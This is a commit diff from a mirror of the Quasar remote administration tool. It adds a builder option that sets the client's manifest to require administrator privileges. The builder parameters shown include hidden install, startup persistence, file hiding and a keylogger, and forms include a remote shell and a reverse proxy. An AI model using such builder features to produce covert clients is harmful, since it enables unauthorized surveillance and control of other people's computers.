mirror of https://github.com/quasar/Quasar.git
Added option to build client which requires admin privileges
This commit is contained in:
parent
29dba29689
commit
7b271afa51
|
@ -1,5 +1,6 @@
|
||||||
using System;
|
using System;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
|
using System.Xml;
|
||||||
using Mono.Cecil;
|
using Mono.Cecil;
|
||||||
using Mono.Cecil.Cil;
|
using Mono.Cecil.Cil;
|
||||||
using Vestris.ResourceLib;
|
using Vestris.ResourceLib;
|
||||||
|
@ -33,13 +34,13 @@ namespace xServer.Core.Build
|
||||||
/// <param name="iconpath">The path to the icon for the client.</param>
|
/// <param name="iconpath">The path to the icon for the client.</param>
|
||||||
/// <param name="asminfo">Information about the client executable's assembly information.</param>
|
/// <param name="asminfo">Information about the client executable's assembly information.</param>
|
||||||
/// <param name="version">The version number of the client.</param>
|
/// <param name="version">The version number of the client.</param>
|
||||||
|
/// <param name="requireAdmin">Determines whether to require administrator privileges on startup.</param>
|
||||||
/// <exception cref="System.Exception">Thrown if the builder was unable to rename the client executable.</exception>
|
/// <exception cref="System.Exception">Thrown if the builder was unable to rename the client executable.</exception>
|
||||||
/// <exception cref="System.ArgumentException">Thrown if an invalid special folder was specified.</exception>
|
/// <exception cref="System.ArgumentException">Thrown if an invalid special folder was specified.</exception>
|
||||||
/// <exception cref="System.IO.FileLoadException">Thrown if the client binaries do not exist.</exception>
|
/// <exception cref="System.IO.FileLoadException">Thrown if the client binaries do not exist.</exception>
|
||||||
public static void Build(string output, string tag, string host, string password, string installsub, string installname,
|
public static void Build(string output, string tag, string host, string password, string installsub, string installname,
|
||||||
string mutex, string startupkey, bool install, bool startup, bool hidefile, bool keylogger,
|
string mutex, string startupkey, bool install, bool startup, bool hidefile, bool keylogger,
|
||||||
int reconnectdelay,
|
int reconnectdelay, int installpath, string iconpath, string[] asminfo, string version, bool requireAdmin)
|
||||||
int installpath, string iconpath, string[] asminfo, string version)
|
|
||||||
{
|
{
|
||||||
// PHASE 1 - Settings
|
// PHASE 1 - Settings
|
||||||
string encKey = FileHelper.GetRandomFilename(20);
|
string encKey = FileHelper.GetRandomFilename(20);
|
||||||
|
@ -168,7 +169,23 @@ namespace xServer.Core.Build
|
||||||
versionResource.SaveTo(output);
|
versionResource.SaveTo(output);
|
||||||
}
|
}
|
||||||
|
|
||||||
// PHASE 5 - Icon changing
|
// PHASE 5 - Manifest rewriting to require Administrator privileges on startup
|
||||||
|
if (requireAdmin)
|
||||||
|
{
|
||||||
|
ManifestResource rc = new ManifestResource();
|
||||||
|
rc.LoadFrom(output);
|
||||||
|
var nodes = rc.Manifest.GetElementsByTagName("requestedExecutionLevel");
|
||||||
|
if (nodes == null || nodes.Count == 0)
|
||||||
|
throw new Exception("Reading Manifest failed");
|
||||||
|
foreach (XmlNode node in nodes)
|
||||||
|
{
|
||||||
|
node.Attributes["level"].Value = "requireAdministrator";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
rc.SaveTo(output);
|
||||||
|
}
|
||||||
|
|
||||||
|
// PHASE 6 - Icon changing
|
||||||
if (!string.IsNullOrEmpty(iconpath))
|
if (!string.IsNullOrEmpty(iconpath))
|
||||||
IconInjector.InjectIcon(output, iconpath);
|
IconInjector.InjectIcon(output, iconpath);
|
||||||
}
|
}
|
||||||
|
|
|
@ -287,6 +287,18 @@ namespace xServer.Core.Data
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public bool RequireAdministrator
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
return bool.Parse(ReadValueSafe("RequireAdministrator", "False"));
|
||||||
|
}
|
||||||
|
set
|
||||||
|
{
|
||||||
|
WriteValue("RequireAdministrator", value.ToString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
public BuilderProfile(string profileName)
|
public BuilderProfile(string profileName)
|
||||||
{
|
{
|
||||||
if (string.IsNullOrEmpty(profileName)) throw new ArgumentException("Invalid Profile Path");
|
if (string.IsNullOrEmpty(profileName)) throw new ArgumentException("Invalid Profile Path");
|
||||||
|
|
|
@ -119,6 +119,7 @@
|
||||||
this.line9 = new xServer.Controls.Line();
|
this.line9 = new xServer.Controls.Line();
|
||||||
this.label12 = new System.Windows.Forms.Label();
|
this.label12 = new System.Windows.Forms.Label();
|
||||||
this.chkKeylogger = new System.Windows.Forms.CheckBox();
|
this.chkKeylogger = new System.Windows.Forms.CheckBox();
|
||||||
|
this.chkRequireAdministrator = new System.Windows.Forms.CheckBox();
|
||||||
((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit();
|
((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit();
|
||||||
((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit();
|
((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit();
|
||||||
this.ctxtMenuHosts.SuspendLayout();
|
this.ctxtMenuHosts.SuspendLayout();
|
||||||
|
@ -969,6 +970,7 @@
|
||||||
// additionalTab
|
// additionalTab
|
||||||
//
|
//
|
||||||
this.additionalTab.BackColor = System.Drawing.SystemColors.Control;
|
this.additionalTab.BackColor = System.Drawing.SystemColors.Control;
|
||||||
|
this.additionalTab.Controls.Add(this.chkRequireAdministrator);
|
||||||
this.additionalTab.Controls.Add(this.line10);
|
this.additionalTab.Controls.Add(this.line10);
|
||||||
this.additionalTab.Controls.Add(this.label14);
|
this.additionalTab.Controls.Add(this.label14);
|
||||||
this.additionalTab.Controls.Add(this.label13);
|
this.additionalTab.Controls.Add(this.label13);
|
||||||
|
@ -1038,6 +1040,17 @@
|
||||||
this.chkKeylogger.UseVisualStyleBackColor = true;
|
this.chkKeylogger.UseVisualStyleBackColor = true;
|
||||||
this.chkKeylogger.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
|
this.chkKeylogger.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
|
||||||
//
|
//
|
||||||
|
// chkRequireAdministrator
|
||||||
|
//
|
||||||
|
this.chkRequireAdministrator.AutoSize = true;
|
||||||
|
this.chkRequireAdministrator.Location = new System.Drawing.Point(23, 119);
|
||||||
|
this.chkRequireAdministrator.Name = "chkRequireAdministrator";
|
||||||
|
this.chkRequireAdministrator.Size = new System.Drawing.Size(226, 17);
|
||||||
|
this.chkRequireAdministrator.TabIndex = 5;
|
||||||
|
this.chkRequireAdministrator.Text = "Require Administrator privileges to run";
|
||||||
|
this.chkRequireAdministrator.UseVisualStyleBackColor = true;
|
||||||
|
this.chkRequireAdministrator.CheckedChanged += new System.EventHandler(this.HasChangedSetting);
|
||||||
|
//
|
||||||
// FrmBuilder
|
// FrmBuilder
|
||||||
//
|
//
|
||||||
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
|
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
|
||||||
|
@ -1165,5 +1178,6 @@
|
||||||
private Controls.Line line10;
|
private Controls.Line line10;
|
||||||
private System.Windows.Forms.Label label14;
|
private System.Windows.Forms.Label label14;
|
||||||
private System.Windows.Forms.ToolStripMenuItem ctxtClear;
|
private System.Windows.Forms.ToolStripMenuItem ctxtClear;
|
||||||
|
private System.Windows.Forms.CheckBox chkRequireAdministrator;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -51,6 +51,7 @@ namespace xServer.Forms
|
||||||
txtOriginalFilename.Text = profile.OriginalFilename;
|
txtOriginalFilename.Text = profile.OriginalFilename;
|
||||||
txtProductVersion.Text = profile.ProductVersion;
|
txtProductVersion.Text = profile.ProductVersion;
|
||||||
txtFileVersion.Text = profile.FileVersion;
|
txtFileVersion.Text = profile.FileVersion;
|
||||||
|
chkRequireAdministrator.Checked = profile.RequireAdministrator;
|
||||||
|
|
||||||
_profileLoaded = true;
|
_profileLoaded = true;
|
||||||
}
|
}
|
||||||
|
@ -82,6 +83,7 @@ namespace xServer.Forms
|
||||||
profile.OriginalFilename = txtOriginalFilename.Text;
|
profile.OriginalFilename = txtOriginalFilename.Text;
|
||||||
profile.ProductVersion = txtProductVersion.Text;
|
profile.ProductVersion = txtProductVersion.Text;
|
||||||
profile.FileVersion = txtFileVersion.Text;
|
profile.FileVersion = txtFileVersion.Text;
|
||||||
|
profile.RequireAdministrator = chkRequireAdministrator.Checked;
|
||||||
}
|
}
|
||||||
|
|
||||||
private void FrmBuilder_Load(object sender, EventArgs e)
|
private void FrmBuilder_Load(object sender, EventArgs e)
|
||||||
|
@ -281,7 +283,7 @@ namespace xServer.Forms
|
||||||
ClientBuilder.Build(output, txtTag.Text, HostHelper.GetRawHosts(_hosts), txtPassword.Text, txtInstallsub.Text,
|
ClientBuilder.Build(output, txtTag.Text, HostHelper.GetRawHosts(_hosts), txtPassword.Text, txtInstallsub.Text,
|
||||||
txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked,
|
txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked,
|
||||||
chkHide.Checked, chkKeylogger.Checked, int.Parse(txtDelay.Text), GetInstallPath(), icon, asmInfo,
|
chkHide.Checked, chkKeylogger.Checked, int.Parse(txtDelay.Text), GetInstallPath(), icon, asmInfo,
|
||||||
Application.ProductVersion);
|
Application.ProductVersion, chkRequireAdministrator.Checked);
|
||||||
|
|
||||||
MessageBox.Show("Successfully built client!", "Build Success", MessageBoxButtons.OK,
|
MessageBox.Show("Successfully built client!", "Build Success", MessageBoxButtons.OK,
|
||||||
MessageBoxIcon.Information);
|
MessageBoxIcon.Information);
|
||||||
|
|
|
@ -426,7 +426,6 @@ namespace xServer.Forms
|
||||||
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||||
this.KeyPreview = true;
|
this.KeyPreview = true;
|
||||||
this.MinimizeBox = false;
|
|
||||||
this.MinimumSize = new System.Drawing.Size(663, 377);
|
this.MinimumSize = new System.Drawing.Size(663, 377);
|
||||||
this.Name = "FrmFileManager";
|
this.Name = "FrmFileManager";
|
||||||
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
||||||
|
|
|
@ -128,7 +128,7 @@
|
||||||
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w
|
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w
|
||||||
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
|
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
|
||||||
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAW
|
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAW
|
||||||
EwAAAk1TRnQBSQFMAgEBCwEAAaABAgGgAQIBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
|
EwAAAk1TRnQBSQFMAgEBCwEAAagBAgGoAQIBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
|
||||||
AwABQAMAATADAAEBAQABCAYAAQwYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
|
AwABQAMAATADAAEBAQABCAYAAQwYAAGAAgABgAMAAoABAAGAAwABgAEA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wABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
|
AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
|
||||||
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
|
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
|
||||||
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA
|
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA
|
||||||
|
|
|
@ -75,7 +75,6 @@
|
||||||
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
|
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
|
||||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||||
this.MaximizeBox = false;
|
this.MaximizeBox = false;
|
||||||
this.MinimizeBox = false;
|
|
||||||
this.Name = "FrmRemoteShell";
|
this.Name = "FrmRemoteShell";
|
||||||
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
||||||
this.Text = "Remote Shell []";
|
this.Text = "Remote Shell []";
|
||||||
|
|
|
@ -248,7 +248,6 @@ namespace xServer.Forms
|
||||||
this.Controls.Add(this.btnStart);
|
this.Controls.Add(this.btnStart);
|
||||||
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||||
this.MaximizeBox = false;
|
|
||||||
this.Name = "FrmReverseProxy";
|
this.Name = "FrmReverseProxy";
|
||||||
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
||||||
this.Text = "Reverse Proxy []";
|
this.Text = "Reverse Proxy []";
|
||||||
|
|
|
@ -100,7 +100,6 @@
|
||||||
this.Controls.Add(this.lstStartupItems);
|
this.Controls.Add(this.lstStartupItems);
|
||||||
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||||
this.MinimizeBox = false;
|
|
||||||
this.Name = "FrmStartupManager";
|
this.Name = "FrmStartupManager";
|
||||||
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
||||||
this.Text = "Startup Manager []";
|
this.Text = "Startup Manager []";
|
||||||
|
|
|
@ -123,7 +123,6 @@ namespace xServer.Forms
|
||||||
this.Controls.Add(this.lstTasks);
|
this.Controls.Add(this.lstTasks);
|
||||||
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||||
this.MinimizeBox = false;
|
|
||||||
this.MinimumSize = new System.Drawing.Size(351, 449);
|
this.MinimumSize = new System.Drawing.Size(351, 449);
|
||||||
this.Name = "FrmTaskManager";
|
this.Name = "FrmTaskManager";
|
||||||
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
||||||
|
|
Loading…
Reference in New Issue